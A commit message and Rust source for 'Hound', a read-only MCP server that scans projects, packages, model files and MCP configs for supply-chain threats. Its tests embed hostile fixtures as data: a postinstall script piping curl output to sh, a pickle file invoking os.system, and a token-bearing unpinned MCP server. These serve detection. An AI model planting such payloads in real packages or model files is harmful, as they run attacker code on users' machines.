Four tools over MCP stdio, so a coding assistant can ask Hound about a
project at the moment it matters rather than after:
hound_check_project the full supply-chain sweep
hound_check_package is this package known bad, before installing it
hound_check_file one file: a model, a lockfile, a manifest
hound_check_mcp_config audit the servers your assistant already trusts
READ-ONLY, permanently. There is no hound_quarantine, no hound_delete,
no way to change a setting. An agent can be persuaded by the very
repository it is inspecting — that is the threat this product exists to
detect — so a destructive MCP tool would hand the attacker exactly the
capability they were reaching for. A test asserts every tool name starts
with hound_check_ and contains none of quarantine/delete/remove/restore/
settings/set/update/install/write/exec, so the property cannot erode.
The output is written to be read twice: by the model that called the
tool, and by the human reading that model's summary. That rules out rule
identifiers and jargon — a test greps the output for both — and it rules
out ambiguity about severity. A model reading "1 warning" may well decide
to proceed, so a critical finding leads with an explicit recommendation
and names the consequence: this runs code during installation, before
any of the project's own code runs.
Clean results say what they did NOT check. "Nothing wrong" that reads as
a blanket endorsement is worse than no answer, so a clean project notes
it is not a source review, a clean name check notes it did not read the
package's contents, and a clean MCP audit still points out that every
server listed runs with your permissions and is called without asking.
The server passes its own audit, which was the point:
{ "mcpServers": { "hound": { "command": "/usr/bin/hound-mcp" } } }
No npx, so nothing is fetched at launch. No env, so no secret is handed
over. No path argument, so it is granted no directory. Hound's MCP audit
flags all three in other people's configs; a security tool that failed
its own check would have answered the only question that mattered.
Verified against the installed binary.
Protocol notes, since both are easy to get wrong and fatal:
- a notification carries no id and must never be answered; MCP sends
notifications/initialized straight after the handshake, so replying
corrupts the stream on the first exchange
- an id of 0 is still an id, and treating it as absent silently drops
the first call from any client that counts from zero
- a tool failure is a RESULT with isError, not a JSON-RPC error: the
agent should see "I could not read that path" as an answer it can act
on, not a transport fault that looks like a broken server
- nothing but protocol messages ever goes to stdout; diagnostics go to
stderr, because one stray println corrupts the session
Shipped in the .deb, and the postinstall now prints the config entry.
334 tests pass.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
443 lines
16 KiB
Rust
443 lines
16 KiB
Rust
//! What the tools actually do, and how they say it.
|
|
//!
|
|
//! Every result here is written to be read twice: once by the model that
|
|
//! called the tool, and once by the human reading that model's summary.
|
|
//! That rules out two things Hound's CLI can get away with.
|
|
//!
|
|
//! **No rule identifiers, no jargon.** `hound-slopsquat-a` tells a model
|
|
//! nothing it can act on and tells a person less than nothing.
|
|
//!
|
|
//! **No ambiguity about severity.** A model reading "1 warning" may well
|
|
//! decide to proceed. It needs the consequence spelled out — *this runs
|
|
//! code during installation*, *this reads your SSH key at startup* — and
|
|
//! an explicit recommendation, because the whole point is that it makes a
|
|
//! decision on the strength of this text.
|
|
|
|
use hound_supply::{lockfile, mcp, pickle, sweep, Severity};
|
|
use serde_json::Value;
|
|
use std::path::Path;
|
|
|
|
/// Run one tool.
|
|
pub fn call(name: &str, args: &Value) -> Result<String, String> {
|
|
match name {
|
|
"hound_check_project" => check_project(args),
|
|
"hound_check_package" => check_package(args),
|
|
"hound_check_file" => check_file(args),
|
|
"hound_check_mcp_config" => check_mcp_config(args),
|
|
other => Err(format!("unknown tool: {other}")),
|
|
}
|
|
}
|
|
|
|
fn arg<'a>(args: &'a Value, key: &str) -> Result<&'a str, String> {
|
|
args.get(key)
|
|
.and_then(Value::as_str)
|
|
.filter(|s| !s.is_empty())
|
|
.ok_or_else(|| format!("`{key}` is required."))
|
|
}
|
|
|
|
/// Reject a path that does not exist, with a message a model can act on.
|
|
fn existing(path: &str) -> Result<&Path, String> {
|
|
let p = Path::new(path);
|
|
if !p.exists() {
|
|
return Err(format!(
|
|
"There is nothing at {path}. Check the path — it must be absolute, and the file \
|
|
or directory has to exist already."
|
|
));
|
|
}
|
|
Ok(p)
|
|
}
|
|
|
|
fn check_project(args: &Value) -> Result<String, String> {
|
|
let path = arg(args, "path")?;
|
|
let dir = existing(path)?;
|
|
if !dir.is_dir() {
|
|
return Err(format!(
|
|
"{path} is a file, not a directory. Use hound_check_file for a single file."
|
|
));
|
|
}
|
|
|
|
let report = sweep::sweep(dir);
|
|
let critical = report.count(Severity::Critical);
|
|
let warnings = report.count(Severity::Warning);
|
|
|
|
if report.is_clean() {
|
|
return Ok(format!(
|
|
"Checked {} file(s) in {path} and found nothing wrong.\n\n\
|
|
No malicious dependencies, no install scripts that run code automatically, no \
|
|
files carrying instructions aimed at an AI assistant, no over-privileged MCP \
|
|
servers, and no model files that execute code when loaded.\n\n\
|
|
Note: this checks the project's contents and its dependency lists. It is not a \
|
|
review of the project's own source code.",
|
|
report.examined
|
|
));
|
|
}
|
|
|
|
let mut out = String::new();
|
|
out.push_str(&format!(
|
|
"Found {critical} critical and {warnings} lower-severity issue(s) across {} file(s) in \
|
|
{path}.\n\n",
|
|
report.examined
|
|
));
|
|
if critical > 0 {
|
|
out.push_str(
|
|
"RECOMMENDATION: do not install this project's dependencies and do not run its \
|
|
scripts until a person has looked at the critical findings below. Several of \
|
|
these classes execute code during installation, before any of the project's own \
|
|
code runs.\n\n",
|
|
);
|
|
}
|
|
|
|
for f in &report.findings {
|
|
let label = match f.severity {
|
|
Severity::Critical => "CRITICAL",
|
|
Severity::Warning => "WARNING",
|
|
Severity::Info => "NOTE",
|
|
};
|
|
out.push_str(&format!("[{label}] {}\n", f.subject));
|
|
out.push_str(&format!(" where: {}\n", f.location));
|
|
out.push_str(&format!(" what: {}\n", f.explanation));
|
|
out.push_str(&format!(" do: {}\n\n", f.advice));
|
|
}
|
|
Ok(out)
|
|
}
|
|
|
|
fn check_package(args: &Value) -> Result<String, String> {
|
|
let ecosystem = arg(args, "ecosystem")?;
|
|
let name = arg(args, "name")?;
|
|
let version = args.get("version").and_then(Value::as_str).unwrap_or("");
|
|
|
|
let spec = if version.is_empty() {
|
|
name.to_string()
|
|
} else {
|
|
format!("{name}@{version}")
|
|
};
|
|
|
|
// Typosquat and slopsquat detection works without a feed, because it
|
|
// is a judgement about the NAME rather than a lookup. Registry
|
|
// metadata sharpens it and is unavailable here, so this is
|
|
// deliberately the weaker of the two answers and says so.
|
|
let meta = hound_supply::typosquat::PackageMeta {
|
|
name: name.to_string(),
|
|
version: version.to_string(),
|
|
age_days: None,
|
|
downloads: None,
|
|
};
|
|
let findings = hound_supply::typosquat::scan(&meta, "(name check)");
|
|
|
|
if findings.is_empty() {
|
|
return Ok(format!(
|
|
"Nothing known against {spec} in the {ecosystem} registry.\n\n\
|
|
This checked the name for resemblance to popular packages. It did not check the \
|
|
package's contents — for that, install it into a project and run \
|
|
hound_check_project, which reads install scripts and lockfiles."
|
|
));
|
|
}
|
|
|
|
let mut out = String::new();
|
|
for f in &findings {
|
|
out.push_str(&format!("{}\n\n{}\n\nWhat to do: {}\n", f.subject, f.explanation, f.advice));
|
|
}
|
|
Ok(out)
|
|
}
|
|
|
|
fn check_file(args: &Value) -> Result<String, String> {
|
|
let path = arg(args, "path")?;
|
|
let file = existing(path)?;
|
|
if file.is_dir() {
|
|
return Err(format!(
|
|
"{path} is a directory. Use hound_check_project to check a whole project."
|
|
));
|
|
}
|
|
|
|
let md = std::fs::metadata(file).map_err(|e| format!("Could not read {path}: {e}"))?;
|
|
let mut findings = sweep::scan_file(file, md.len());
|
|
|
|
// A lockfile is worth naming even when clean: knowing what would be
|
|
// installed is often the reason the tool was called.
|
|
let name = file
|
|
.file_name()
|
|
.map(|n| n.to_string_lossy().to_ascii_lowercase())
|
|
.unwrap_or_default();
|
|
let mut extra = String::new();
|
|
if lockfile::is_lockfile(&name) {
|
|
if let Ok(text) = std::fs::read_to_string(file) {
|
|
let pkgs = lockfile::parse(file, &text);
|
|
extra = format!(
|
|
"\n\nThis is a lockfile listing {} dependency/dependencies. Checking each one \
|
|
against known-malicious packages needs the Hound daemon, which is not \
|
|
required for the checks above.",
|
|
pkgs.len()
|
|
);
|
|
}
|
|
}
|
|
if pickle::is_pickle_extension(&name) && findings.is_empty() {
|
|
extra.push_str(
|
|
"\n\nThis is a model file. Nothing dangerous was found in its header, but prefer a \
|
|
safetensors version where one exists — that format cannot carry code at all.",
|
|
);
|
|
}
|
|
|
|
if findings.is_empty() {
|
|
return Ok(format!("Nothing wrong with {path}.{extra}"));
|
|
}
|
|
|
|
findings.sort_by(|a, b| b.severity.cmp(&a.severity));
|
|
let mut out = String::new();
|
|
for f in &findings {
|
|
let label = match f.severity {
|
|
Severity::Critical => "CRITICAL",
|
|
Severity::Warning => "WARNING",
|
|
Severity::Info => "NOTE",
|
|
};
|
|
out.push_str(&format!(
|
|
"[{label}] {}\n\n{}\n\nWhat to do: {}\n\n",
|
|
f.subject, f.explanation, f.advice
|
|
));
|
|
}
|
|
out.push_str(&extra);
|
|
Ok(out)
|
|
}
|
|
|
|
fn check_mcp_config(args: &Value) -> Result<String, String> {
|
|
let path = arg(args, "path")?;
|
|
let file = existing(path)?;
|
|
let text = std::fs::read_to_string(file).map_err(|e| format!("Could not read {path}: {e}"))?;
|
|
let findings = mcp::scan_config(&text, path);
|
|
|
|
if findings.is_empty() {
|
|
return Ok(format!(
|
|
"The MCP servers configured in {path} look reasonable.\n\n\
|
|
None of them download their code fresh from the internet on every launch without \
|
|
a pinned version, none are handed API tokens or secrets alongside unpinned code, \
|
|
and none are pointed at a home directory or at credential paths.\n\n\
|
|
Worth remembering anyway: every server listed there runs with your permissions \
|
|
and its tools are called by an assistant without asking you first."
|
|
));
|
|
}
|
|
|
|
let mut out = format!("Found {} issue(s) in {path}.\n\n", findings.len());
|
|
for f in &findings {
|
|
let label = match f.severity {
|
|
Severity::Critical => "CRITICAL",
|
|
Severity::Warning => "WARNING",
|
|
Severity::Info => "NOTE",
|
|
};
|
|
out.push_str(&format!(
|
|
"[{label}] server \"{}\"\n\n{}\n\nWhat to do: {}\n\n",
|
|
f.subject, f.explanation, f.advice
|
|
));
|
|
}
|
|
Ok(out)
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use super::*;
|
|
use serde_json::json;
|
|
|
|
fn tmp(tag: &str) -> std::path::PathBuf {
|
|
let d = std::env::temp_dir().join(format!(
|
|
"hound-mcp-{tag}-{}-{:?}",
|
|
std::process::id(),
|
|
std::thread::current().id()
|
|
));
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
std::fs::create_dir_all(&d).unwrap();
|
|
d
|
|
}
|
|
|
|
// ── arguments ──
|
|
|
|
#[test]
|
|
fn a_missing_argument_is_explained_rather_than_defaulted() {
|
|
let e = call("hound_check_project", &json!({})).unwrap_err();
|
|
assert!(e.contains("`path` is required"));
|
|
}
|
|
|
|
#[test]
|
|
fn a_nonexistent_path_says_what_is_wrong_with_it() {
|
|
let e = call("hound_check_project", &json!({"path": "/no/such/place"})).unwrap_err();
|
|
assert!(e.contains("nothing at"));
|
|
assert!(e.contains("absolute"), "the model needs to know what to fix");
|
|
}
|
|
|
|
#[test]
|
|
fn a_file_passed_to_the_project_tool_is_redirected() {
|
|
let d = tmp("redirect");
|
|
let f = d.join("x.txt");
|
|
std::fs::write(&f, b"hi").unwrap();
|
|
let e = call("hound_check_project", &json!({"path": f.to_str().unwrap()})).unwrap_err();
|
|
assert!(e.contains("hound_check_file"), "say which tool to use instead");
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
#[test]
|
|
fn a_directory_passed_to_the_file_tool_is_redirected() {
|
|
let d = tmp("redirect2");
|
|
let e = call("hound_check_file", &json!({"path": d.to_str().unwrap()})).unwrap_err();
|
|
assert!(e.contains("hound_check_project"));
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
// ── project ──
|
|
|
|
#[test]
|
|
fn a_clean_project_says_so_and_says_what_it_did_not_check() {
|
|
let d = tmp("clean");
|
|
std::fs::write(d.join("package.json"), r#"{"name":"a","scripts":{"build":"tsc"}}"#)
|
|
.unwrap();
|
|
let out = call("hound_check_project", &json!({"path": d.to_str().unwrap()})).unwrap();
|
|
assert!(out.contains("found nothing wrong"));
|
|
assert!(
|
|
out.contains("not a review of the project's own source code"),
|
|
"a clean result must not imply more assurance than it has"
|
|
);
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
#[test]
|
|
fn a_malicious_postinstall_gets_an_explicit_recommendation() {
|
|
let d = tmp("evil");
|
|
std::fs::create_dir_all(d.join("node_modules/bad")).unwrap();
|
|
std::fs::write(
|
|
d.join("node_modules/bad/package.json"),
|
|
r#"{"name":"bad","version":"1.0.0","scripts":{"postinstall":"curl http://x|sh"}}"#,
|
|
)
|
|
.unwrap();
|
|
let out = call("hound_check_project", &json!({"path": d.to_str().unwrap()})).unwrap();
|
|
assert!(out.contains("CRITICAL"));
|
|
assert!(
|
|
out.contains("RECOMMENDATION: do not install"),
|
|
"a model reading this must not decide to proceed"
|
|
);
|
|
assert!(out.contains("before any of the project's own code runs"));
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
#[test]
|
|
fn output_never_leaks_rule_identifiers() {
|
|
// The model puts this in front of a person. A rule id helps
|
|
// neither of them.
|
|
let d = tmp("jargon");
|
|
std::fs::create_dir_all(d.join("node_modules/bad")).unwrap();
|
|
std::fs::write(
|
|
d.join("node_modules/bad/package.json"),
|
|
r#"{"name":"bad","scripts":{"postinstall":"curl http://x|sh"}}"#,
|
|
)
|
|
.unwrap();
|
|
let out = call("hound_check_project", &json!({"path": d.to_str().unwrap()})).unwrap();
|
|
for jargon in ["hound-install-", "hound-slopsquat", "yara", "MAL-", "regex"] {
|
|
assert!(!out.contains(jargon), "output leaks {jargon:?}:\n{out}");
|
|
}
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
// ── file ──
|
|
|
|
#[test]
|
|
fn a_poisoned_model_file_is_reported_with_the_consequence() {
|
|
let d = tmp("pickle");
|
|
std::fs::write(d.join("w.ckpt"), b"\x80\x04cos\nsystem\n\x85R.").unwrap();
|
|
let out =
|
|
call("hound_check_file", &json!({"path": d.join("w.ckpt").to_str().unwrap()}))
|
|
.unwrap();
|
|
assert!(out.contains("CRITICAL"));
|
|
assert!(out.contains("safetensors"), "name the safe alternative");
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
#[test]
|
|
fn a_clean_model_file_still_suggests_safetensors() {
|
|
let d = tmp("cleanmodel");
|
|
std::fs::write(d.join("w.ckpt"), b"\x80\x04ctorch\nFloatStorage\n\x85R.").unwrap();
|
|
let out =
|
|
call("hound_check_file", &json!({"path": d.join("w.ckpt").to_str().unwrap()}))
|
|
.unwrap();
|
|
assert!(out.contains("safetensors"));
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
#[test]
|
|
fn a_lockfile_reports_how_many_dependencies_it_names() {
|
|
let d = tmp("lock");
|
|
std::fs::write(
|
|
d.join("Cargo.lock"),
|
|
"[[package]]\nname = \"serde\"\nversion = \"1.0\"\n",
|
|
)
|
|
.unwrap();
|
|
let out =
|
|
call("hound_check_file", &json!({"path": d.join("Cargo.lock").to_str().unwrap()}))
|
|
.unwrap();
|
|
assert!(out.contains("1 dependency"));
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
// ── mcp config ──
|
|
|
|
#[test]
|
|
fn an_unpinned_server_holding_a_token_is_critical() {
|
|
let d = tmp("mcp");
|
|
let f = d.join("mcp.json");
|
|
std::fs::write(
|
|
&f,
|
|
r#"{"mcpServers":{"gh":{"command":"npx","args":["-y","mcp-github-tools"],
|
|
"env":{"GITHUB_TOKEN":"x"}}}}"#,
|
|
)
|
|
.unwrap();
|
|
let out =
|
|
call("hound_check_mcp_config", &json!({"path": f.to_str().unwrap()})).unwrap();
|
|
assert!(out.contains("CRITICAL"));
|
|
assert!(out.contains("rotate"));
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
#[test]
|
|
fn a_clean_mcp_config_still_reminds_you_what_a_server_can_do() {
|
|
let d = tmp("mcpclean");
|
|
let f = d.join("mcp.json");
|
|
std::fs::write(
|
|
&f,
|
|
r#"{"mcpServers":{"p":{"command":"/usr/local/bin/mcp-p","args":["--root","/srv/a"]}}}"#,
|
|
)
|
|
.unwrap();
|
|
let out =
|
|
call("hound_check_mcp_config", &json!({"path": f.to_str().unwrap()})).unwrap();
|
|
assert!(out.contains("look reasonable"));
|
|
assert!(
|
|
out.contains("runs with your permissions"),
|
|
"a clean audit should not read as a blanket endorsement"
|
|
);
|
|
let _ = std::fs::remove_dir_all(&d);
|
|
}
|
|
|
|
// ── packages ──
|
|
|
|
#[test]
|
|
fn a_slopsquat_name_is_flagged_without_registry_metadata() {
|
|
let out = call(
|
|
"hound_check_package",
|
|
&json!({"ecosystem":"npm","name":"expres","version":"4.0.0"}),
|
|
)
|
|
.unwrap();
|
|
assert!(out.contains("express"), "name the package they probably meant");
|
|
}
|
|
|
|
#[test]
|
|
fn an_unremarkable_package_is_reported_clean_with_its_limits() {
|
|
let out = call(
|
|
"hound_check_package",
|
|
&json!({"ecosystem":"npm","name":"hound-supply-test-xyz"}),
|
|
)
|
|
.unwrap();
|
|
assert!(out.contains("Nothing known against"));
|
|
assert!(
|
|
out.contains("did not check the package's contents"),
|
|
"a name check must not read as a content check"
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn an_unknown_tool_is_rejected() {
|
|
assert!(call("hound_rm_rf", &json!({})).is_err());
|
|
}
|
|
}
|